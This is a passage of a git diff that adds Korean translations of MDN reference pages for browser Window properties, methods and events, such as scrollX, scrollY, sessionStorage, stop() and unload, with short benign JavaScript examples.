+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <code><strong>scrollX</strong></code> 읽기 전용 속성은 문서가 수평으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다.</span> 최신 브라우저에서는 값의 정밀도가 픽셀보다 작으므로 반드시 정숫값을 반환하는건 아닙니다. 수직 스크롤은 {{domxref("Window.scrollY", "scrollY")}} 속성을 사용하여 가져올 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">var x = window.scrollX</pre>
+
+<h3 id="값">값</h3>
+
+<p>반환하는 값은 문서가 원점으로부터 수평방향으로 스크롤한 픽셀의 수를 나타내는 배정밀도 부동소수점 값입니다. 양의 값이 왼쪽 스크롤을 의미합니다. 문서를 픽셀보다 작은 정밀도의 장치에서 렌더링한 경우 반환값의 정밀도도 높아져 소숫값을 반환할 수 있습니다. 문서가 좌우로 전혀 움직이지 않은 상태면 <code>0</code>을 반환합니다.</p>
+
+<div class="note">
+<p>정숫값이 필요하면 {{jsxref("Math.round()")}}를 사용해 반올림할 수 있습니다.</p>
+</div>
+
+<p>더 기술적인 용어로, <code>scrollX</code>는 현재 {{Glossary("viewport", "뷰포트")}} 왼쪽 모서리의 X좌표를 반환하고, 뷰포트가 없으면 0을 반환합니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>다음 예제는 문서의 현재 스크롤 위치가 400픽셀이 넘으면 맨 처음으로 돌아갑니다.</p>
+
+<pre class="brush: js">if (window.scrollX &gt; 400) {
+  window.scroll(0,0);
+}</pre>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p><code>pageXOffset</code> 속성은 <code>scrollX</code> 의 다른 이름입니다.</p>
+
+<pre class="brush: js">window.pageXOffset === window.scrollX; // 항상 true</pre>
+
+<p>브라우저 호환성을 위해서는 <code>window.scrollX</code> 대신 <code>window.pageXOffset</code>을 사용하세요. 이에 더해, Internet Explorer 9 미만에서는 두 속성 모두 지원하지 않으므로 다른 비표준 속성을 사용해야 합니다. 다음은 완벽히 호환되는 코드의 예시입니다.</p>
+
+<pre class="brush:js">var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-scrollx', 'window.scrollX')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.scrollX")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.scrollY")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/scrolly/index.html b/files/ko/web/api/window/scrolly/index.html
new file mode 100644
index 0000000000..311a1eed05
--- /dev/null
+++ b/files/ko/web/api/window/scrolly/index.html
@@ -0,0 +1,86 @@
+---
+title: Window.scrollY
+slug: Web/API/Window/scrollY
+tags:
+  - API
+  - CSSOM View
+  - Property
+  - Reference
+  - Window
+  - 스크롤
+translation_of: Web/API/Window/scrollY
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <code><strong>scrollY</strong></code> 읽기 전용 속성은 문서가 수직으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다.</span> 최신 브라우저에서는 값의 정밀도가 픽셀보다 작으므로 반드시 정숫값을 반환하는건 아닙니다. 수평 스크롤은 {{domxref("Window.scrollX", "scrollX")}} 속성을 사용하여 가져올 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">var <em>y</em> = window.scrollY</pre>
+
+<h3 id="값">값</h3>
+
+<p>원점으로부터 문서를 수직방향으로 스크롤한 픽셀의 수를 나타내는, 배정밀도 부동소수점 값. 양의 값이 위쪽 스크롤을 의미합니다. 문서를 단일 픽셀보다 높은 정밀도의 장치에서 렌더링한 경우 반환값의 정밀도도 높아져 소숫값을 반환할 수 있습니다. 문서가 위나 아래로 전혀 움직이지 않은 상태면 <code>0</code>을 반환합니다.</p>
+
+<div class="note">
+<p>정숫값이 필요하면 {{jsxref("Math.round()")}}를 사용해 반올림할 수 있습니다.</p>
+</div>
+
+<p>더 기술적인 용어로, <code>scrollY</code>는 현재 {{Glossary("viewport", "뷰포트")}} 위쪽 모서리의 Y좌표를 반환하고, 뷰포트가 없으면 0을 반환합니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">// make sure and go down to the second page
+if (window.scrollY) {
+  window.scroll(0, 0);  // reset the scroll position to the top left of the document.
+}
+
+window.scrollByPages(1);</pre>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p><code>scrollY</code> 속성을 사용하면 {{domxref("window.scrollBy", "scrollBy()")}}, {{domxref("window.scrollByLines", "scrollByLines()")}}, {{domxref("window.scrollByPages", "scrollByPages()")}}와 같은 상대적 스크롤 함수를 사용할 때, 문서가 이미 스크롤되지는 않았는지 판별할 수 있습니다.</p>
+
+<p>{{domxref("Window.pageYOffset", "pageYOffset")}} 속성은 <code>scrollY</code>의 다른 이름입니다.</p>
+
+<pre class="brush: js">window.pageYOffset === window.scrollY; // 항상 true</pre>
+
+<p>브라우저간 호환성을 위해서는 <code>window.scrollY</code> 대신 <code>window.pageYOffset</code>을 사용하세요. 이에 더해, Internet Explorer 9 미만의 구형 환경에서는 두 속성 모두 지원하지 않으므로 또 다른 비표준 속성을 사용해야 합니다. 다음은 완벽히 호환되는 코드의 예시입니다.</p>
+
+<pre class="brush:js">var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.scrollY")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.scrollX")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/self/index.html b/files/ko/web/api/window/self/index.html
new file mode 100644
index 0000000000..0e22bd94ed
--- /dev/null
+++ b/files/ko/web/api/window/self/index.html
@@ -0,0 +1,72 @@
+---
+title: Window.self
+slug: Web/API/Window/self
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Read-only
+  - Reference
+  - Window
+translation_of: Web/API/Window/self
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>Window.self</strong></code> 읽기전용 속성은 자기 자신을 {{domxref("WindowProxy")}}로써 반환합니다. <code>window.self</code>로도 사용할 수 있고, <code>self</code>만 독립적으로 사용해 접근할 수 있습니다. 독립적으로 접근했을 때의 이점은 비 {{jsxref("Window")}} 환경인 {{domxref("Worker", "웹 워커", "", 0)}} 등도 비슷한 표기법을 사용한다는 것입니다. 이 때 <code>self</code>는 <code>Window</code> 문맥에서는 <code>window.self</code>, 워커 문맥에서는 {{domxref("WorkerGlobalScope.self")}}와 같습니다.</p>
+
+<h2 id="Notes" name="Notes">예제</h2>
+
+<p>아래와 같이 쓴 <code>window.self</code>는 그냥 <code>window</code>로 바꿨을 때와 동일합니다.</p>
+
+<pre class="brush:js">if (window.parent.frames[0] != window.self) {
+    // this window is not the first frame in the list
+}
+</pre>
+
+<p>이에 더해 브라우징 문맥의 현재 활성확된 문서에서는 <code>window</code>가 현재 전역 객체를 가리키므로 다음 네 줄의 코드는 모두 동일합니다.</p>
+
+<pre class="brush:js">var w1 = window;
+var w2 = self;
+var w3 = window.window;
+var w4 = window.self;
+// w1, w2, w3, w4 모두 일치. 그러나 워커에서는 w2만 작동함
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No difference from the latest snapshot {{SpecName("HTML5.1")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'browsers.html#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No difference from the {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>First snapshot containing the definition of <code>Window.self</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.self")}}</p>
+
+<h2 class="noinclude" id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}에서 같은 역할을 하는 {{domxref("WorkerGlobalScope.self")}}.</li>
+</ul>
diff --git a/files/ko/web/api/window/sessionstorage/index.html b/files/ko/web/api/window/sessionstorage/index.html
new file mode 100644
index 0000000000..7ae76ce298
--- /dev/null
+++ b/files/ko/web/api/window/sessionstorage/index.html
@@ -0,0 +1,101 @@
+---
+title: Window.sessionStorage
+slug: Web/API/Window/sessionStorage
+tags:
+  - API
+  - Property
+  - Reference
+  - Storage
+  - Window
+  - WindowSessionStorage
+  - 세션스토리지
+translation_of: Web/API/Window/sessionStorage
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p><strong><code>sessionStorage</code></strong> 읽기 전용 속성은 현재 {{glossary("origin", "출처")}} 세션의 {{domxref("Storage")}} 객체에 접근합니다. <code>sessionStorage</code>는 {{domxref("Window.localStorage", "localStorage")}}와 비슷하지만, <code>localStorage</code>의 데이터는 만료되지 않고, <code>sessionStorage</code>의 데이터는 <u>페이지 세션</u>이 끝날 때 제거되는 차이가 있습니다.</p>
+
+<ul>
+ <li>페이지 세션은 브라우저가 열려있는 한 새로고침과 페이지 복구를 거쳐도 남아있습니다.</li>
+ <li><strong>페이지를 새로운 탭이나 창에서 열면, 세션 쿠키의 동작과는 다르게 최상위 브라우징 맥락의 값을 가진 새로운 세션을 생성합니다.</strong></li>
+ <li>같은 URL을 다수의 탭/창에서 열면 각각의 탭/창에 대해 새로운 <code>sessionStorage</code>를 생성합니다.</li>
+ <li>탭/창을 닫으면 세션이 끝나고 <code>sessionStorage</code> 안의 객체를 초기화합니다.</li>
+</ul>
+
+<p><code>sessionStorage</code>에 저장한 자료는 <strong>페이지 프로토콜별로 구분</strong>합니다. 특히 HTTP(<a href="http://example.com">http://example.com</a>)로 방문한 페이지에서 저장한 데이터는 같은 페이지의 HTTPS(<a href="https://example.com">https://example.com</a>)와는 다른 <code>sessionStorage</code>에 저장됩니다.</p>
+
+<p>키와 값은 <u>항상</u> 각 문자에 2바이트를 할당하는 UTF-16 {{domxref("DOMString")}}의 형태로 저장합니다. 객체와 마찬가지로 정수 키는 자동으로 문자열로 변환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>myStorage</em> = <em>window</em>.sessionStorage;</pre>
+
+<h3 id="값">값</h3>
+
+<p>현재 {{glossary("origin", "출처")}}의 세션 저장 공간에 접근할 수 있는 {{domxref("Storage")}} 객체.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>요청이 정책의 결정을 위반했거나, 출처가 <a href="/ko/docs/Web/Security/Same-origin_policy#출처의_정의">유효한 스킴/호스트/포트 튜플</a>이 아닌 경우. 유효하지 않은 튜플은 출처가 <code>file:</code>이나 <code>data:</code> 스킴을 사용했을 때 발생할 수 있습니다. 예외의 예를 들자면 사용자가 특정 출처의 지속성 데이터를 거부하도록 브라우저를 설정하는 경우가 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 코드는 현재 출처의 세션 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.</p>
+
+<pre class="brush: js notranslate">sessionStorage.setItem('myCat', 'Tom');</pre>
+
+<p>다음 예제는 텍스트 필드의 문장을 자동 저장하여 브라우저가 의도치 않게 재시작 되었을 경우 자동으로 텍스트 필드의 내용을 저장된 문장으로 복구하여 작성한 내용이 사라지지 않게 합니다.</p>
+
+<pre class="brush: js notranslate">// 추적할 텍스트 입력 칸 가져오기
+let field = document.getElementById("field");
+
+// 자동저장 값이 존재하는지 판별
+// (의도치 않게 페이지를 새로 불러올 경우에만 발생)
+if (sessionStorage.getItem("autosave")) {
+  // 입력 칸의 콘텐츠 복구
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// 텍스트 입력 칸의 변화 수신
+field.addEventListener("change", function() {
+  // 결과를 세션에 저장
+  sessionStorage.setItem("autosave", field.value);
+});
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a> 문서에서 전체 예제를 살펴보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-sessionstorage", "sessionStorage")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/status/index.html b/files/ko/web/api/window/status/index.html
new file mode 100644
index 0000000000..2dd40aa3fd
--- /dev/null
+++ b/files/ko/web/api/window/status/index.html
@@ -0,0 +1,25 @@
+---
+title: Window.status
+slug: Web/API/Window/status
+translation_of: Web/API/Window/status
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>브라우저 하단의 상태 표시줄에 텍스트를 바꾸거나, 기존 텍스트를 얻을 수 있다.</p>
+
+<p>이 프로퍼티는 파이어폭스나 기타 브라우저의 기본 설정값에서는 동작하지 않는다. window.status를 변경한다고 하더라도 상태 표시줄의 메시지에 출력되지 않을 것이다. 상태바 텍스트를 변경할 수 있게 하려면 유저가 about:config 창에서 dom.disable_window_status_change 를 허용해 주어야 한다.(인터넷 익스플로러의 경우 [인터넷 옵션 - 보안 - 사용자 지정 수준 - 스크립트를 통해 상태 표시줄 업데이트 허용]을 '사용'으로 바꾸어야 한다.)</p>
+
+<div class="note">
+<p><strong>Note:</strong> Starting in {{Gecko("1.9.1")}}, users can let websites change the status text by enabling the "Change status bar" preference in the Advanced options panel.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>window</em>.status = <em>string;
+var value = window.status;</em></pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>HTML5</p>
diff --git a/files/ko/web/api/window/stop/index.html b/files/ko/web/api/window/stop/index.html
new file mode 100644
index 0000000000..9ad0b6d546
--- /dev/null
+++ b/files/ko/web/api/window/stop/index.html
@@ -0,0 +1,50 @@
+---
+title: Window.stop()
+slug: Web/API/Window/stop
+translation_of: Web/API/Window/stop
+---
+<div> {{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>Window.stop()메서드는 window 객체의 로딩을 취소하는 메서드입니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">window.stop()
+</pre>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<pre class="brush:js">window.stop();
+</pre>
+
+<h2 id="Notes" name="Notes">본문</h2>
+
+<p>stop() 메서드는 브라우저의 정지 버튼을 누르는 행위와 동등한 효과를 지닙니다. Because of the order in which scripts are loaded, the stop() method cannot stop the document in which it is contained from loading, but it will stop the loading of large images, new windows, and other objects whose loading is deferred.</p>
+
+<h2 id="Specification" name="Specification">설명</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-window-stop', 'Window.stop')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility">Compatibility</h2>
+
+<p>stop()메서드는 인터넷 익스플로러에서 지원하지 않습니다.</p>
diff --git a/files/ko/web/api/window/toolbar/index.html b/files/ko/web/api/window/toolbar/index.html
new file mode 100644
index 0000000000..37e6a6cce0
--- /dev/null
+++ b/files/ko/web/api/window/toolbar/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.toolbar
+slug: Web/API/Window/toolbar
+tags:
+  - 참고
+  - 창
+translation_of: Web/API/Window/toolbar
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>창에서 끌 수 있는, 눈에 보이는 toolbar 문제를 해결합니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>objRef</em> = window.toolbar</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>{{deprecated_inline()}} 주어진 HTML 예제는 다양한 "바" 객체의 visible 프로퍼티의 사용방법과, 권한상승 역시 현재창에서 어떠한 bar의 visible 프로퍼티로 쓰여지는것을 필요로한다는 것을 보여주고 있습니다. 하지만 <a href="/en-US/docs/Bypassing_Security_Restrictions_and_Signing_Code" title="Bypassing_Security_Restrictions_and_Signing_Code">deprecation of enablePrivilege</a> 때문에 이 기능은 웹 페이지에서 사용할 수 없습니다. EnablePrivilege는 Firefox 15 에서 작동하지 않고, Firefox 17 에서 삭제 될 것입니다.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Various DOM Tests&lt;/title&gt;
+&lt;script&gt;
+
+// 현재창에서 존재하는 바의 상태를 변경
+netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite");
+window.toolbar.visible=!window.toolbar.visible;
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;p&gt;Various DOM Tests&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Notes" name="Notes">설명</h2>
+
+<p>페이지를 띄울때, 브라우저는 다음과 같은 dialog를 출력할 것입니다. : <img alt="Image:Modify_any_open_window_dialog.png"></p>
+
+<p>이러한 눈에 보이는 바들을 끄기 위해서, 당신의 스크립트를 확인하거나 위의 예제처럼 적절한 권한을 활성화 시켜야 합니다. 또한 주의해야 할 점은 동적으로 업데이트 되는 다양한 보이는 toolbar는 창의 크기에 따라 동적으로 업데이트 될 수 있고, 당신의 페이지의 레이아웃에 영향을 끼칠 수 있습니다.</p>
+
+<p>See also: <a href="/en-US/docs/Window.locationbar">window.locationbar</a>, <a href="/en-US/docs/Window.menubar">window.menubar</a>, <a href="/en-US/docs/Window.personalbar">window.personalbar</a>, <a href="/en-US/docs/Window.scrollbars">window.scrollbars</a>, <a href="/en-US/docs/Window.statusbar">window.statusbar</a></p>
+
+<h2 id="Specification" name="Specification">사양</h2>
+
+<p>HTML5</p>
diff --git a/files/ko/web/api/window/top/index.html b/files/ko/web/api/window/top/index.html
new file mode 100644
index 0000000000..d499281395
--- /dev/null
+++ b/files/ko/web/api/window/top/index.html
@@ -0,0 +1,55 @@
+---
+title: Window.top
+slug: Web/API/Window/top
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/top
+---
+<div>{{APIRef}}</div>
+
+<p>Returns a reference to the topmost window in the window hierarchy.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>topWindow</var> = window.top;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Where the {{domxref("window.parent")}} property returns the immediate parent of the current window, <code>window.top</code> returns the topmost window in the hierarchy of window objects.</p>
+
+<p>This property is especially useful when you are dealing with a window that is in a subframe of a parent or parents, and you want to get to the top-level frameset.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.top")}}</p>
diff --git a/files/ko/web/api/window/unload_event/index.html b/files/ko/web/api/window/unload_event/index.html
new file mode 100644
index 0000000000..8cf741a9ae
--- /dev/null
+++ b/files/ko/web/api/window/unload_event/index.html
@@ -0,0 +1,126 @@
+---
+title: 'Window: unload 이벤트'
+slug: Web/API/Window/unload_event
+tags:
+  - Event
+  - Reference
+  - Window
+  - 이벤트
+translation_of: Web/API/Window/unload_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>unload</code></strong> 이벤트는 문서나 하위 리소스가 언로딩 중일 때 발생합니다.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">확산</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">취소 가능</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 처리기 속성</th>
+   <td>{{domxref("WindowEventHandlers/onunload", "onunload")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>unload</code>는 다음 이벤트 이후 발생합니다.</p>
+
+<ul>
+ <li>{{domxref("Window/beforeunload_event", "beforeunload")}} (취소 가능한 이벤트)</li>
+ <li>{{domxref("Window/pagehide_event", "pagehide")}}</li>
+</ul>
+
+<p><code>unload</code> 시점의 문서는 다음과 같은 상태입니다.</p>
+
+<ul>
+ <li>이미지, IFrame 등 모든 리소스는 여전히 존재합니다.</li>
+ <li>최종 사용자는 아무것도 볼 수 없습니다.</li>
+ <li>UI 상호작용은 아무 효과도 없습니다. ({{domxref("window.open()")}}, {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, 등등)</li>
+ <li>오류가 발생해도 언로딩 절차는 중단되지 않습니다.</li>
+</ul>
+
+<p>참고로 <code>unload</code> 이벤트 역시 문서 트리의 순서를 따라갑니다. 즉 부모 프레임의 <code>unload</code>가 자식 프레임의 <code>unload</code> <strong>이전에</strong> 발생합니다. 아래 예제를 확인하세요</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Parent Frame&lt;/title&gt;
+    &lt;script&gt;
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 1st one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 3rd one.');
+      });
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;iframe src="child-frame.html"&gt;&lt;/iframe&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>아래는 <code>child-frame.html</code>의 내용입니다.</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Child Frame&lt;/title&gt;
+    &lt;script&gt;
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 2nd one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 4th and last one…');
+      });
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+      ☻
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>부모 프레임이 언로딩 될 때, <code>console.log()</code> 메시지를 통해 순서를 확인할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-unload', 'unload')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.unload_event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 이벤트: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}</li>
+ <li><a href="https://html.spec.whatwg.org/multipage/browsers.html#unloading-documents">Unloading Documents — unload a document</a></li>
+</ul>
diff --git a/files/ko/web/api/window/window/index.html b/files/ko/web/api/window/window/index.html
new file mode 100644
index 0000000000..16109243f1
--- /dev/null
+++ b/files/ko/web/api/window/window/index.html
@@ -0,0 +1,43 @@
+---
+title: Window.window
+slug: Web/API/Window/window
+translation_of: Web/API/Window/window
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>window 객체의 window 프로퍼티는 자기 자신의 window 객체를 가리킨다. 즉, 아래의 표현들은 같은 window 객체를 반환하게 된다:</p>
+
+<pre class="syntaxbox">window.window
+window.window.window
+window.window.window.window
+  ...
+</pre>
+
+<p>웹페이지에서 window 객체는 전역 객체이기도 하다. 다시 말해서:</p>
+
+<ol>
+ <li>스크립트의 전역 변수는 사실 window 객체의 프로퍼티이다.
+  <pre class="brush:js">var global = {data: 0};
+alert(global === window.global); // true를 반환한다.
+</pre>
+ </li>
+ <li>window 객체의 내장된 프로퍼티들은 window. 접두사 없이도 참조가 가능하다.
+  <pre class="brush:js">setTimeout("alert('Hi!')", 50); // window.setTimeout. 을 사용한 것과 동일하다.
+alert(window === window.window); // true를 반환한다.
+</pre>
+ </li>
+</ol>
+
+<p>자기 자신을 참조하는 window 라는 프로퍼티가 있다는 것은 (아마도) 전역 객체를 쉽게 참조하기 위함으로 생각된다.(없다면 스크립트 첫 부분에 다음과 같이 직접 만들어주었어야 했다. var window = this;)</p>
+
+<p>다른 이유로는, 만약 이 프로퍼티가 없다면 다음과 같이 작성이 불가능하기 때문이다: "{{domxref("window.open","window.open('http://google.com/')")}}" - 대신 다음과 같이 적어야 할 것이다. "open('http://google.com/')"</p>
+
+<p>Yet another reason to use this property is for libraries which wish to offer OOP-versions and non-OOP versions (especially JavaScript modules). If, for example, we refer to "this.window.location.href", a <a href="/en-US/docs/Mozilla/JavaScript_code_modules">JavaScript module</a> could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which, could be created, for example, after passing in a window object to the module class' constructor.  Thus, "this.window" inside of its functions would refer to that window object. In the non-namespaced version, "this.window" would simply refer back to "window", and also be able to get the document location without trouble. Another advantage is that the objects of such a class (even if the class were defined outside of a module) could change their reference to the window at will, as they would not be able to do if they had hard-coded a reference to "window" (yet the default in the class could still be set as the current window object).</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#dom-window">HTML Standard</a></li>
+</ul>
diff --git a/files/ko/web/api/windoweventhandlers/index.html b/files/ko/web/api/windoweventhandlers/index.html
new file mode 100644
index 0000000000..751168141a
--- /dev/null
+++ b/files/ko/web/api/windoweventhandlers/index.html
@@ -0,0 +1,101 @@
+---
+title: WindowEventHandlers
+slug: Web/API/WindowEventHandlers
+tags:
+  - API
+  - HTML-DOM
+  - Interface
